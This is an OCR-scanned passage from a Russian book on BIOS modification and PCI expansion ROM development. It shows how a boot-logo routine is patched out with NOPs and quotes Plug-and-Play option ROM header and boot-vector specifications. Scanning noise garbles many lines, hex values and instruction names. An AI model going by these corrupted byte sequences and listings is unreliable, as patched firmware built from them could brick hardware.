Если вы ищете процедуру, связанную с вводом-выводом, ищите обращения к данному порту ввода-вывода. Еще лучше, если вы знаете протокол, используемый данным портом ввода-вывода. Например, если вы ищете подпрограмму инициализации чипсета, ищите обращения к порту адреса (cF8h—CFBh) или порту данных (cFCh-CFFh) конфигурационного пространства PCI, так как обращения к чипсету выполняются посредством конфи* гурационных циклов PCI. Точно так же, если вас интересуют подпр0' граммы инициализации устройств IDE, следует искать обращения К портам lF0h-lF7h И 17Oh-177h.
Некоторые устройства отображаются на предопределенные диапазоны адресов. Например, буфер кадров VGA отображается на сегмент в_оооОп или в_8оооь. Знание подобных фактов значительно облегчает процесс мо дификации BIOS.
^ Наконец, можно воспользоваться диагностическими кодами POST, чтобы найти вывод в порт 80h подпрограммой, которую вы ищете. Во время исполнения BIOS, в порт 8oh выводится большое количество диагностических кодов POST, каждый из которых соответствует успешному или неудачному завершению определенной подпрограммы. Это может служить ценной подсказкой.
В целом, необходимо сначала сформировать общую картину того, что вы ищете, а потом, шаг за шагом, уточнять цель. В большинстве случаев, следует хорошо знать принципы работы протокола аппаратных средств, с которыми вы работаете, а также обладать информацией о соответствующем диапазоне адресов памяти или ввода-вывода. Зная протокол, нужную процедуру можно отыскать без особого труда. Подпрограммы BIOS реализуют протокол шины, иногда лишь с незначительными отличиями от образцов, представленных в документации на данный протокол.
Для закрепления ваших приобретенных навыков модифицирования BIOS, попробуйте модифицировать так называемую процедуру ЕРА (Environmental Protection Agency — управление по охране окружающей среды). Процедура ЕРА выводит логотип ЕРА во время исполнения Award BIOS. Отключите эту опцию, заменив вызов процедуры ЕРА на инструкцию nop (по operation — нет операции). Процедура ЕРА Award BIOS довольно хорошо изучена, и ее сигнатуру можно легко найти в Интернете. Чтобы модифицировать процедуру ЕРА BIOS Iwill VD133, найдите сигнатуру 80 seei оно F646 1430, как показано в листинге 6.9.
Шестнадцатеричные Значения80 8Е Е1 01 10F6 46 14 30Шестнадцатеричные Значения80 8Е Е1 01 10F6 46 14 30истинг 6.9. Сигнатура процедуры ЕРА
Шестнадцатеричные Значения
80 8Е Е1 01 10
F6 46 14 30
Шестнадцатеричные Значения
80 8Е Е1 01 10
F6 46 14 30
Кодассемблера
or byte ptr [bp + lElh], lOh test byte ptr [bp + 14h], 30h
Затем модифицируйте ее, как показано в журнале изменений модификаций “iOS (см. листинг 6.10).
f истинг 6.10. Журнал изменений модификаций BIOS ‘•°ДифиКации в VD30728X.BIN:
^ исходного файла: VD30728.BIN
44 Модифицированного файла: VD30728X.BIN
Цель модификации: Отключить процедуру вывода логотипа ЕРА.
До модифицирования, код выглядит следующим образом: (дизассемблированный файл original.tmp)
Е000:1Е4С В8 00 F0
mov ax, 0F000H
E000:lE4F 8Е D8
mov- ds, ax
Е000:1Е51
assume ds:_F000h
Е000:1Е51 Е8 80 11
call exec_nnoprom_100h
Е000:1Е54 73 03
jrib short skip_epa_proc
Е000:1Е56 Е8 СЗ 00
call EPA_Procedure
Е000:1Е59
skip_epa_proc:
Е000:1Е59 Е8 AF 01
call init_EGA_video
E000:lFlC
EPA_Procedure proc near
E000:lFlC 80 8Е El 01 10
or byte ptr [bp + lElh], 10b
E000:lF21 F6 46 14 30
test byte ptr [bp + 14h], 30h
E000:lF25 74 01
jz short loc_E000_lF28
E000:lF27 03
retn
E000:lF28
E000:lF28
loc_E000_lF28:
E000:lF28 06
push es
После модифицирования, код выглядит следующим образом: (дизассемблированный файл original.tmp)
E000:lE4C
B8 00 F0mov ax, OFOOOh
E000:lE4F
8E D8mov ds, ax
' E000:lE51
assume ds:nothing
E000:lE51
90nqp
E000:lE52
90nop
E000:lE53
90nqp
E000:lE54
90nqp
E000:lE55
90nop
E000:lE56
90nop
E000:lE57
90nop
E000:lE58
90пор
E000:lE59
Е8 AF 01call init_EGA_Video
Результаты проверки: Цель достигнута — BIOS не выводит логотип ЕРА и проблем в работе системы не наблюдается.
цтОбы реализовать эту модификацию, с помощью hex-редактора, замените ^деленные полужирным шрифтом инструкции на инструкцию пор (). Как идите, знание сигнатуры процедуры существенно облегчает задачу ее модификации.
Кроме вышеизложенных примеров, двоичный файл BIOS можно подвергать многим другим, более сложным, модификациям. Я надеюсь, что описание основных принципов, приведенное в этой главе, дало вам необходимый минимум знаний и достаточно уверенности в своих силах, чтобы решиться попробовать самостоятельно реализовать такие модификации.
sitjr^ws ^ *ЦеВHX <5 M* VUC О О' BWtteto «ТЕСТЕР ^XW >H Settexten^ >Д4Ы32^Т^ A^W
I # #*Se to .maximum float
I# #j Additional.; direct'?># file^t^rgi^
Часть III
BIOS ПЛАТ
РАСШИРЕНИЯ PCI
^S^le^ifl^cjEg^fl (#lr*D6£ltre'^reprbcess< ppM^JPROjMlPK^ ^^t^^s^leng^S^le^ifl^cjEg^fl (#lr*D6£ltre'^reprbcess< ppM^JPROjMlPK^ ^^t^^s^lengI# 11л8ай1 o’nafcdxrec t I#Cf±Xe^bTfo^th^I# 11л8ай1 o’nafcdxrec t I#Cf±Xe^bTfo^th^
^S^le^ifl^cjEg^fl (#lr*D6£ltre'^reprbcess< ppM^JPROjMlPK^ ^^t^^s^leng
^S^le^ifl^cjEg^fl (#lr*D6£ltre'^reprbcess< ppM^JPROjMlPK^ ^^t^^s^leng
I# 11л8ай1 o’nafcdxrec t I#Cf±Xe^bTfo^th^
I# 11л8ай1 o’nafcdxrec t I#Cf±Xe^bTfo^th^
рава 7
разработка BIOS плат расширения PCI
Введение
В этой главе рассматривается разработка BIOS плат расширения PCI. Сначала предоставляется подготовительная информация, т. е. информация об архитектуре Plug-and-Play BIOS и об архитектуре BIOS плат расширения PCI, с учетом как аппаратных, так и программных аспектов. После этого мы разработаем простой пример BIOS платы расширения PCI. Материал, представленный в данной главе, был ранее опубликован в журнале CodeBreakers Journal1.
7-1. Архитектура Plug-and-Play BIOS и BIOS плат расширения
Из главы 1 мы знаем, что BIOS плат расширения инициализируются при ис- п°лнении процедуры POST. BIOS плат расширения вызывается системной BIOS, чтобы должным образом инициализировать соответствующие платы Расширения перед загрузкой операционной системы.
C°st ^т^е^е^ х^ Teaching Tool," CodeBreakers Journal, Volume 2, Issue 1, Да Статья под названием "Low Cost Embedded X86 Teaching Tool" (в первом из- Hb|~Ul жУРнала CodeBreakers Journal за 2005 г. (вторая подшивка). Оригиналь- ^ авторский текст статьи находится в свободном доступе по адресу •p0^*^Www.geocities.com/mamanzip/Articles/Low_Cost_Embedded_x86_Teaching_
Архитектура Plug-and-Play BIOS
Этот раздел не предоставляет всеобъемлющего объяснения архитектур^ Plug-and-Play BIOS. В нем детально рассматриваются лишь те области архи, тектуры Plug-and-Play BIOS, которые необходимы для разработки BIOS плат расширения PCI.
Таковыми являются код инициализации, находящийся на платах расширения, и процесс начальной загрузки (bootstrap process), т. е. передача управления операционной системе после того, как BIOS инициализирует систему. Инициализация BIOS плат расширения является частью процедуры POST, реализованной в системной BIOS. Подробное описание архитектуры Plug-and-Play содержится в руководстве "Спецификация BIOS Plug-and-Play, версия 1.0А" (Plug-and-Play BIOS Specification, version LOA). Выдержка из этого руководства, необходимая для понимания материалов, изложенных в данной главе, приводится здесь с незначительными сокращениями.
Выдержка из Спецификации Plug-and-Play BIOS
Ход исполнения процедуры POST
Типичный ход исполнения процедуры POST системной BIOS, соответствующей спецификации Plug-and-Play (Plug-and-Play BIOS, PnP BIOS), состоит из следующих шагов:
Все конфигурируемые устройства должны быть заблокированы. Блокировка всех конфигурируемых устройств, о которых "знает" системная BIOS, должна быть выполнена на ранней стадии процесса POST.
Опознаются все устройства Plug-and-Play ISA. Устройствам Plug-and-Play ISA назначаются номера CSN (card select number — номер выбора платы), но устройства остаются блокированными. На этой стадии выясняется, какие из устройств являются загрузочными.
3.3.4.4.Создается начальная карта ресурсов, выделенных устройствам системы статическим образом. Если устройствам ISA явно указаны системные ресурсы посредством функции "set statically allocated resource information" (Ус‘ тановить информацию о ресурсах, выделенных устройствам статическим образом), то системная BIOS создает начальную карту ресурсов, основанную на этой информации. Если данная реализация BIOS поддерживает сохранение последней рабочей конфигурации и системное программное обеспечение явно выделило системные ресурсы конкретным устройствам системы, то карта ресурсов создается на основе этой информации. Эта ж информация применяется для конфигурации системных устройств.
3.
3.
4.
4.
Выбираются и активизируются устройства ввода и вывода. При этом при оритет всегда отдается неконфигурируемым наследуемым системным Ус^ ройствам. Например, стандартный адаптер VGA будет назначен основнь устройством вывода. Если в системе присутствуют конфигурируемые У ройства ввода-вывода, то на данном этапе осуществляется их конфигуР рование. При выборе устройства ввода-вывода, удовлетворяющего спей
фикации Plug-and-Play, на данном этапе необходимо инициализировать его опционную BIOS (если она присутствует). Эта операция осуществляется с помощью процедуры инициализации Plug-and-Play соответствующей BIOS.
Сканируется диапазон адресов СООООЬ—EFFFFh по границам всех 2- килобайтных блоков на присутствие BIOS плат расширения ISA. BIOS плат расширения Plug-and-Play на данный момент блокируются (за исключением загрузочных устройств ввода-вывода), и данная процедура сканирования их не распознает.
Конфигурируется устройство IPL. Если в качестве устройства IPL выбрано устройство Plug-and-Play, данное устройство инициализируется с помощью собственной процедуры инициализации PnP BIOS. Если системная BIOS "знает" устройство IPL, необходимо убедиться в том, что прерывание 19h все еще находится под управлением системной BIOS. Если же это не так, и прерывание 19h уже не находится в ведении системной BIOS, а было перехвачено, то системная BIOS должна вновь перехватить его и сохранить вектор.
Активизируются устройства Plug-and-Play ISA и другие конфигурируемые устройства. Если ресурсы распределяются статическим способом, активизируются платы расширения Plug-and-Play ISA с назначенными неконфликтующими ресурсами. Инициализируются BIOS плат расширения с передачей им определенных параметров. По возможности, все конфигурируемые устройства на данном этапе должны быть активизированы. Если ресурсы распределяются динамически, активизируются платы расширения Plug- and-Play ISA, с которых возможна загрузка операционной системы. Им назначаются неконфликтующие ресурсы, и инициализируются их BIOS.
Инициируется последовательность обработки прерывания 19h. Запускается загрузчик операционной системы. Если попытка загрузки операционной системы оказывается неудачной, а перед этим вектор прерывания I9h находился в ведении BIOS другой платы расширения, то вектор возвращается BIOS платы расширения, и попытка исполнить загрузчик операционной системы повторяется.
Управление ресурсами передается операционной системе. Если загруженная операционная система поддерживает стандарт Plug-and-Play, она принимает управление ресурсами на себя. С помощью рабочих сервисов сис-
темной BIOS, операционная система определяет, каким образом эти р6 сурсы распределены в данный момент. Считается, что любые несконфип, рированные устройства Plug-and-Play будут сконфигурированы соответс^ вующим программным обеспечением или операционной системой поддерживающей Plug-and-Play.'
Поддержка BIOS плат расширения
В этом разделе излагаются требования к BIOS плат расширения Plug-and-Play Эти функциональные возможности по поддержке BIOS плат расширения были изначально ориентированы на загрузочные устройства. Однако информационный вектор статических ресурсов (Static Resource Information Vector) дает возможность наследуемым устройствам, имеющим свои BIOS, воспользоваться добавочным заголовком BIOS плат расширения Plug-and-Play. С помощью этого добавочного заголовка такие устройства могут сообщить среде Plug-and-Play информацию о возможности загрузки операционной системы с конкретного устройства. Загрузочное устройство должно быть проинициализировано до загрузки операционной системы. Строго говоря, единственное необходимое загрузочное устройство — это устройство IPL, на котором сохранена операционная система. Однако расширенное определение загрузочных устройств дополнительно охватывает основное устройство ввода и основное устройство вывода. Эти устройства ввода-вывода могут быть необходимы для общения с пользователем. Все современные устройства Plug-and-Play, поддерживающие BIOS " расширения, должны поддерживать заголовок BIOS плат расширения Plug-and- Play. Кроме того, все устройства, не z поддерживающие Plug-and-Play, могут быть "модернизированы" за счет обеспечения поддержки заголовка BIOS плат расширения Plug-and-Play. Несмотря на то, что это "обновление" статических устройств ISA все равно не позволяет конфигурировать их ресурсы программными средствами, заголовок BIOS расширения Plug-and-Play значительно помогает системной Plug-and-Play в задаче распознавания и выбора основных загрузочных устройств..
Важно отметить, что поддержка BIOS плат расширения, описанная здесь, определена специально для платформ, основанных на семействе процессоров Intel х86, и может не распространяться на системы, основанные на других типах микропроцессоров.
Заголовок BIOS плат расширения
Формат заголовка Plug-and-Play BIOS плат расширения соответствует формату дополнительного заголовка обычных BIOS плат расширения (generic option ROM header extensions). Общий заголовок BIOS плат расширения является механизмом, с помощью которого стандартный заголовок BIOS плат расширения ISA можно расширить, оказав минимальное влияние на существующую ВЮЬ- Указатель по смещению lAh может указывать на любой вид заголовка. Каждь1 заголовок предоставляет ссылку на следующий заголовок; таким образом, or дущие заголовки BIOS плат расширения могут использовать этот общий указ тель и в то же время сосуществовать с заголовком Plug-and-Play BIOS лла расширения. Каждый заголовок BIOS плат расширения обозначается уникал ной строкой. Байты, содержащие длину и контрольную сумму заголовка, поза
ляют системной BIOS и/или системному программному обеспечению проверить действительность заголовка.
Смещение
Длина
Значение
Описание
Тип
Oh
2h
AA55h
Сигнатура
Стандартный
2h
lh
Переменное
Длина BIOS расширения
Стандартный
3h
4h
Переменное
Вектор инициализации
Стандартный
7h
13h
Переменное
Зарезервировано
Стандартный
lAh
2h
Переменное
Смещение структуры дополнительного заголовка
Новый для
Plug-and-Play
Стандартный заголовок BIOS плат расширения
Сигнатура. В настоящее время, BIOS всех плат расширения ISA должны обозначаться сигнатурой AA55h по смещению 0. С помощью этой сигнатуры, системная BIOS и прочее программное обеспечение определяют, находится ли по данному адресу BIOS платы расширения.
Длина. Длина BIOS платы расширения в блоках по 512 байт.
Вектор инициализации. Системная BIOS исполняет инструкцию far call к этому адресу, чтобы инициализировать BIOS расширения. Когда системная Plug-and-Play BIOS вызывает вектор инициализации BIOS платы расширения, она сообщает о себе Plug-and-Play BIOS платы расширения путем передачи указателя на идентификационную структуру Plug-and-Play. Если BIOS платы расширения устанавливает, что системная BIOS поддерживает Plug-and-Play, то BIOS платы расширения на данном этапе не должна перехватывать векторы ввода, вывода (дисплея) или устройства IPL (int 9h, 10h или 13h). Вместо этого, устройство должно дождаться, когда системная BIOS вызовет вектор BCV (boot connection vector — вектор подключения загрузочного устройства), и только после этого оно сможет перехватывать какой-либо из этих векторов. Примечание: устройство Plug-and-Play никогда не должно перехватывать прерывания int 19h и int 18h до того, как системная Plug-and-Play BIOS не вызовет его вектор BCV, расположенный по смещению 16h структуры дополнительного заголовка. Если BIOS платы расширения определит, что она исполняется под управлением системной Plug-and-Play BIOS, то после завершения инициализации и возвращения управления вызывающей процедуре она должна возвратить параметры, указывающие статус устройства. Ширина поля — четыре байта, хотя большинство практических реализаций используют традиционную простую трехбайтовую инструкцию near JMP. Четвертый байт может определяться изготовителем OEM (original equipment manufacturer — изготовитель комплектного оборудования).
о Зарезервировано. В этой области хранятся данные о производителе обо. рудования и информация об авторских правах.
Смещение до дополнительного заголовка. По этому адресу хранится указа, тель на связный список дополнительных заголовков BIOS плат расширения Несколько дополнительных заголовков разных типов могут быть связаны цепо^ кой, и к ним можно обращаться с помощью этого указателя. Смещение, указанное в этом поле, — это смещение от начала заголовка BIOS платы расширения
Дополнительный заголовок для Plug-and-Play
Смещение
Длина
Значение
Описание
Тип
Oh '
4 байта
$PnP (ASCII)
Сигнатура
Общий
04h
Байт
Переменное
Версия структуры
Olh"
05h
Байт
Переменное
Длина (в параграфах по 16 байт)
Общий
06h
Слово
Переменное
Смещение следующего заголовка (ОООOh если нет следующего заголовка)
Общий
08h
Байт
ООН
Зарезервировано
Общий
09h
Байт
Переменное
Контрольная сумма
Общий
OAh
Двойное слово
Переменное
Идентификатор устройства
Plug-and- Play
OEh
Слово
Переменное
Указатель на строку идентификатора производителя (необязательное поле)
Plug-and- Play
lOh
Слово
Переменное
Указатель на строку названия продукта (необязательное поле)
Plug-and- Play
12h
3 байта
Переменное
Код типа устройства
Plug-and- Play
15h
Байт
Переменное
Индикаторы устройства
Plug-and- Play
16h
Слово
Переменное
Вектор подключения BCV: реальный/защищенный режим (ОООOh если нет)
Plug-and- Play
18h
Слово
Переменное
Вектор отключения (disconnect vector): реальный/защищенный режим (ОООOh если нет)
Plug-and- Play
(окончание)
lAh
Слово
Переменное
Точка входа для загрузки (Bootstrap Entry Point, ВЕР): реальный/защищенный режим (OOOOh если нет)
Plug-and- Play
ICh
Слово
OOOOh
Зарезервировано
Plug-and- Play
lEh
Слово
Переменное
Вектор получения информации о статических ресурсах (Static Resource Information Vector) реальный/защищенный режим (ooooh если нет)
Plug-and- Play
Сигнатура. Все дополнительные заголовки должны иметь однозначный идентификатор дополнительного заголовка. Идентификатор дополнительного заголовка Plug-and-Play имеет форму строки ASCII $рпр или шестнадцатеричного значения 24 50 6Е 50h (байт 0 = 24h ... байт 3 = 50h).
Версия структуры. Указывает только версию данной структуры; никаким образом не связан с уровнем соответствия версии BIOS Plug-and-Play.
Длина. Длина всего дополнительного заголовка, выраженная в 16-байтных параграфах. Отсчет длины начинается от поля сигнатуры.
Смещение следующего заголовка. По этому адресу хранится указатель на следующий дополнительный заголовок данной BIOS расширения. Если дополнительных заголовков больше нет, значение этого поля установлено в Oh. Смещение в этом поле указано по отношению к началу заголовка BIOS расширения.
Зарезервировано. Зарезервировано для будущих нужд.
Контрольная сумма. Контрольная сумма вычисляется для каждого дополнительного заголовка индивидуально. Это дает возможность программному обеспечению, желающему воспользоваться дополнительным заголовком (в данном случае таковым программным обеспечением является системная BIOS), определить, действителен ли дополнительный заголовок. Для проверки контрольной суммы, необходимо просуммировать значения всех байтов в дополнительном заголовке, включая поле контрольной суммы, а затем проверить полученное 8-битное значение. Нулевой результат указывает на правильную контрольную сумму.
Идентификатор устройства. Это поле содержит идентификатор устройства Plug-and-Play.
Указатель на строку идентификатора производителя (необязательный). По этому адресу находится смещение относительно базового адреса BIOS расширения, указывающее на строку ASCIIZ, содержащую наименование производителя данной платы. Это поле не является обязательным, и если
Часть III. BIOS плат расширения pQt его значение равно нулю, то это означает, что строка, содержащая найме нование производителя, не поддерживается.'
Указатель на строку наименования продукта (необязательный). По это му адресу находится смещение относительно базового адреса BIOS расшиб рения, указывающее на строку ASCIIZ, содержащую название данного пр0^ дукта. Это поле не является обязательным, и если его значение равно нулю, то это означает, что строка с наименованием продукта не поддеру, вается.
. Код типа устройства. Это поле содержит общую информацию о типе устрой, ства, которая используется системной BIOS для установления приоритета загрузочных устройств. Код типа устройства разбит на три однобайтных поля Код, указанный в первом байте, задает общий тип устройства. Код во втором байте указывает подтип устройства и зависит от кода типа устройства. Код в третьем байте определяет конкретный программный интерфейс устройства зависящий от типа и подтипа устройства. Коды типов устройств приведены в Приложении Б к "Спецификации BIOS Plug and Play, версия 1 .OA" (Plug and Play BIOS Specification, version 1.0A, Appendix B).
Индикаторы устройства. Находящиеся в этом поле биты-индикаторы идентифицируют устройство как способное выполнять функции одного из трех типов загрузочных устройств — ввода, вывода или устройства начальной загрузки программ (IPL).
Бит
Описание
7
Если этот бит установлен, то данная BIOS поддерживает модель DDIM (device driver initialization model — модель инициализации драйвера устройств)
6
Если этот бит установлен, данная BIOS может затеняться в RAM
5
Если этот бит установлен, данная BIOS может кэшироваться по чтению
4
Если этот бит установлен, эта BIOS требуется лишь тогда, когда данное устройство выбрано как загрузочное
3
Зарезервирован (0)
2
Если этот бит установлен, данное устройство является устройством IPL
—
1
Если этот бит установлен, данное устройство является устройством ввода
0
Если этот бит установлен, данное устройство является устройством вывода
Вектор подключения BCV (реальный/защищенный режимы). По эт адресу хранится смещение (относительно начала заголовка BIOS пл расширения) подпрограммы, которая, в зависимости от параметров, пвР данных во время вызова, инициирует процесс перехвата BIOS расширен
одного или нескольких векторов прерывания основного устройства ввода, вывода или устройства IPL (прерывания int 9h, int 10h или int 13h, соответственно). Когда системная BIOS определяет, что устройство, контролируемое данной BIOS расширения, будет исполнять роль одного из загрузочных устройств (основное устройство ввода, вывода, или устройство IPL), она исполняет инструкцию far call по адресу, указываемому вектором BCV. При этом системная BIOS передает вектору BCV BIOS расширения следующие параметры:
Значения регистра при входе
Описание
АХ
Указывает, какие векторы должны перехватываться, сообщая тип загрузочного устройства, назначенного данному устройству.
Биты 7 ... 3 — Зарезервированы (0).
Бит 2: 1 = Подключить как IPL (int 13h).
Бит 1:1= Подключить как основное устройство видеовывода (int 10h).
Бит 0:1 = Подключить как основное устройство ввода (int 09h)
ES:DI
Указатель на контрольную структуру системной Plug-and-Play BIOS
ВХ
Номер CSN для данной платы. Только для устройств Plug- and-Play ISA. Для устройств ISA, не являющихся устройствами Plug-and-Play, значение этого параметра будет равно FFFFh
DX
Порт чтения данных (только для устройств ISA, соответствующих стандарту Plug-and-Play). Если нет устройств ISA Plug-and-Play, значение этого параметра будет установлено ВFFFFh
° Вектор отключения (реальный/защищенный режимы). Этот вектор используется для зачистки после неудачной попытки загрузиться с устройства IPL. При неудачной попытке загрузки с устройства IPL, системная BIOS выполняет far call по этому адресу.
° Вектор точки входа для загрузки (реальный/защищенный режимы). Этот вектор в основном используется для поддержки удаленной загрузки RPL . Системная BIOS выполняет far call по этому адресу, чтобы загрузиться с удаленного устройства. Системная BIOS вызывает вектор точки
2f v vemote program loader) — удаленный загрузчик программы. Примером устрой- Оп ^L может служить сетевая карта, поддерживающая удаленную загрузку Рационной системы по сети.
Часть III. BIOS плат расширения Ро, входа для загрузки в реальном/защищенном режиме вместо прерывания mtl9h при соблюдении следующих условий:
Устройство указывает, что оно может функционировать как устройство I Pl
Устройство указывает, что оно не поддерживает интерфейс блочных функций сервиса int 13h.
Устройство имеет ненулевой вектор точки входа для загрузки.
Устройство имеет нулевой вектор подключения BCV.
Рассмотрение способа поддержки загрузки RPL выходит за рамки данной спецификации. Подробное описание требований по поддержке устройств RPL требует издания отдельной спецификации.
Зарезервировано. Зарезервировано для будущих нужд.
Вектор получения информации о статических ресурсах. Данный вектор может быть использован устройствами, не поддерживающими Plug-and- Play, для предоставления информации о конфигурации статических ресурсов. От устройств Plug-and-Play не требуется поддержки вектора получения информации о конфигурации статических ресурсов для предоставления информации об их конфигурации. Этот вектор должен быть доступным для вызова как до, так и/или после инициализации BIOS расширения. Интерфейс вызова вектора получения информации о статических ресурсах имеет следующий формат:
Вход- Указатель на буфер в памяти, используемый для хранения ин- es:d"i формации о конфигурации статических ресурсов устройства.
Объем буфера должен составлять, по крайней мере, 1024 байта. Структура данной информации должна быть такой же, как и структура данных узла системного устройства (system device node data structure), за исключением того, что поле номера узла устройства всегда должно иметь нулевое значение, а возвращаемая информация должна указывать только ресурсы, выделенные на данный момент (allocated resource configuration descriptor block — блок дескриптора конфигурации выделенных ресурсов), а не на возможные ресурсы (possible resource configuration descriptor block — блок дескриптора конфигурации возможных ресурсов). Блок дескриптора конфигурации возможных ресурсов должен содержать только дескриптор ресурсов end_tag, чтобы указывать, что для этого устройства не имеется альтернативных установок конфигурации ресурсов, так как ресурсы для данного устройства сконфигурированы статически. Дополнительную информацию о дескрипторах ресурсов можно найти в разделе "Ресурсы Plug and Play" в "Спецификации Plug and Play ISA" (Plug and Play ISA Specification, section Plu9 and Play Resources). Формат данной структуры следующий:
Поле
Размер
Размер узла устройств
Слово
Дескриптор/номер узла устройства
Байт
Идентификатор продукта устройства
Двойное слово
(окончание)
Поле
Размер
Код типа устройства
3 байта
Битовое поле атрибутов узла устройств
Слово
Блок дескрипторов конфигурации выделенных ресурсов
Переменный
Блок дескрипторов конфигурации возможных ресурсов — должен содержать только дескриптор ресурса END_TAG
2 байта
Идентификаторы совместимых устройств.
Переменный
Полное описание элементов, образующих структуру данных узла системных устройств, приведено в разделе 4.2 руководства "Спецификация BIOS Plug and Play" (Plug and Play BIOS Specification). Например, производитель плат расширения SCSI, не поддерживающих технологию Plug-and-Play, может решить модифицировать BIOS платы так, чтобы она поддерживала дополнительный заголовок Plug-and-Play. Хотя такое усовершенствование BIOS не придаст этой плате конфигурационных возможностей, доступных платам, поддерживающим Plug-and-Play на аппаратном уровне, оно позволит программному обеспечению Plug-and-Play определить конфигурацию устройства, таким образом позволяя платам Plug and Play не принимать во внимание ресурсы, выделенные статически данной плате SCSI, при конфигурировании своих ресурсов.
Инициализация BIOS плат расширения
Системная BIOS определяет, поддерживает ли BIOS платы расширения, которую она намеревается инициализировать, интерфейс Plug-and-Play. Это осуществляется путем проверки номера версии структуры в структуре заголовка Plug-and-Play-устройства. Для всех BIOS расширения, отвечающим требованиям "Plug and Play BIOS Specification, version 1.0", системная BIOS вызывает вектор инициализации устройства, передавая ему следующие параметры:
Значения регистра при входе
Описание
ES :DI
Указатель на структуру проверки наличия установленной системной Plug-and-Play BIOS (System BIOS PnP Installation Check Structure)
вх
Номер CSN для данной платы. Только для устройств ISA Plug-and- Play. Для устройств, не являющимися ISA Plug-and-Play- устройствами, значение этого параметра будет равно FFFFh
DX
Порт чтения данных (только для устройств Plug-and-Play ISA).
Если нет устройств ISA Plug-and-Play, для этого параметра устанавливается значение FFFFh
За информацией о параметрах регистров при входе для других шинных архи. тектур, обращайтесь к соответствующим спецификациям. Во время инициал^ зации, BIOS плат расширения, поддерживающие Plug-and-Play, могут осущест. влять вызовы сервисов любых прерываний и обновлять любые структур^ данных, необходимые им для доступа к любым подключенным устройствам, а также выполнять любую необходимую идентификацию и инициализацию. Но по возвращению из вызова инициализации, BIOS платы расширения должна вое- становить состояние любых векторов или структур данных, относящихся к уст* ройствам загрузки: прерываний int 9h, int 10h, int 13h и переменных, относящихся к ассоциированным с ними областям BDA (BIOS data area — область данных BIOS) и EBDA (extended BIOS data area — область данных расширенной BIOS).
После возвращения из вызова инициализации, BIOS расширения, поддерживающая Plug-and-Play, должна возвратить информацию о состоянии устройства загрузки в следующем формате:
Бит регистра АХ
Описание
8
1 = Устройство IPL поддерживает формат блочного устройства прерывания int 13h
7
1 = Устройство вывода поддерживает функцию вывода символов прерывания int 10h
6
1 = Устройство вывода поддерживает функцию ввода символов прерывания int 9h
5:4
00 = Нет подключенных устройств IPL.
01 = Неизвестно, подключено ли устройство IPL или нет.
10 = Подключено устройство IPL (имеется соединение для устройств RPL).
11= Зарезервировано
3:2
00 = Нет подключенного устройства видеовывода.
01 = Неизвестно, подключено ли устройство видеовывода или нет.
10 = Подключено устройство видеовывода.
11= Зарезервировано
—"
1:0
00 = Нет подключенного устройства ввода.
01 = Неизвестно, подключено ли устройство ввода или нет.
= Подключено устройство ввода.
= Зарезервировано
Ход ИНИЦИАЛИЗАЦИИ BIOS ПЛАТ РАСШИРЕНИЯ
Типичная общая процедура инициализации BIOS плат расширения во время исполнения процедуры POST системной Plug-and-Play BIOS состоит из следующих шагов:
Инициализируются BIOS загрузочных устройств. К их числу относятся BIOS основных устройств ввода-вывода, а также устройств IPL.
Исполняется сканирование на присутствие BIOS устройств расширения ISA, и инициализируются BIOS этих устройств. Сканирование на присутствие BIOS устройств ISA выполняется в диапазоне адресов cooooh—EFFFFh по всем границам 2-килобайтных страниц. В данном сканировании не определяется присутствие BIOS устройств расширения, поддерживающих Plug-and-Play.
Инициализируются BIOS устройств ISA, снабженных Plug-and-Play BIOS. Обычно эти устройства не поддерживают процедуру динамического конфигурирования. Но информацию о ресурсах, выделенных таким устройствам, можно получить с помощью вектора возврата информации о статических ресурсах.
Инициализируются BIOS устройств плат, поддерживающих Plug-and-Play, снабженных Plug-and-Play BIOS.
Инициализируется BIOS устройств расширения, поддерживающих модель инициализации драйверов устройств DIMM (device driver initialization model — модель инициализации драйверов устройств). BIOS устройств расширения, поддерживающие эту модель, наиболее эффективно используют пространство памяти, занимаемое BIOS устройств расширения. Дополнительная информация о модели DIMM приведена в Приложении 2 к "Спецификация BIOS Plug and Play, версия 1.0" (Plug and Play BIOS Specification, version 1.0A, Appendix B).
Использование Plug-and-Play BIOS для разработки BIOS платы расширения
На данный момент мы знаем, что при разработке BIOS платы расширения PCI можно воспользоваться такой возможностью Plug-and-Play BIOS, как точка входа для загрузки BEV (bootstrap entry vector — вектор входа для за-. грузки). Данный механизм начальной загрузки применяется потому, что основная функциональность ПК не должна быть нарушена его новой функцио- нольностъю. Другими словами, когда BIOS расширения настроена для Работы как устройство RPL, она будет выбрана как загрузочное устройство только в том случае, если в системной BIOS установлена опция RPL, т. е. оп- Чия удаленной загрузки по сети. Таким образом, можно переключаться меж- Ч}' использованием ПК для обычной работы и использованием его для разра- °°тки BIOS плат расширения и как целевой платформы для данных BIOS, Установив соответствующую опцию в установках системной BIOS, т. е. оп- ЦИК) Удаленной загрузки по сети (Boot from LAN Activation).
Проще говоря, в этой главе мы рассмотрим экспериментальную BIOS плаТь расширения PCI, которая ведет себя как BIOS обычной сетевой платы, при меняемой в бездисковых рабочих станциях, т. е. Etherboot BIOS. При ЭТо^ часть процедуры BIOS расширения PCI используется для загрузки компьц/ тера, подменяя обычный механизм загрузки.
В последующих разделах я покажу, как реализовать эту логику с помощ^ индивидуально разработанной BIOS платы расширения PCI, которую можно прошить в плату расширения PCI модифицированную таким образом, чтобы Plug-and-Play BIOS воспринимала ее как настоящую сетевую плату.
Процедура POST и инициализация BIOS плат расширения PCI
Код системной процедуры POST рассматривает устройства расширения PCI точно так же, как и устройства, встроенные в материнскую плату. Единственным исключением является обработка BIOS устройств расширения. Код POST обнаруживает присутствие BIOS расширения в два этапа. Сначала код определяет, реализован ли в устройстве PCI регистр xrombar (expansion ROM base address register — регистр базового адреса BIOS расширения). Если этот регистр реализован, процедура POST должна отобразить ROM BIOS на неиспользуемое пространство адресов, разрешить ее использование и проверить первые 2 байта заголовка BIOS платы расширения PCI (PCI Expansion ROM Header) на наличие сигнатуры ааббн. Наличие такой сигнатуры означает, что ROM физически присутствует; в противном случае, устройство не имеет ROM. Если устройство имеет ROM, процедура POST должна произвести поиск в ROM образа с правильным типом кода, чьи поля идентификатора производителя (vendor ID) и идентификатора устройства (device ID) совпадают с соответствующими полями конфигурационных регистров устройства PCI. После того как найден правильный образ, процедура POST копирует соответствующий объем данных в RAM. Затем исполняется код инициализации устройства. Объем данных, которые требуется скопировать, как и способ исполнения кода инициализации устройства, зависят от значений соответст вующих полей структуры данных PCI (см. табл. 7.2).
. 7 разработка BIOS плат расширения PCI
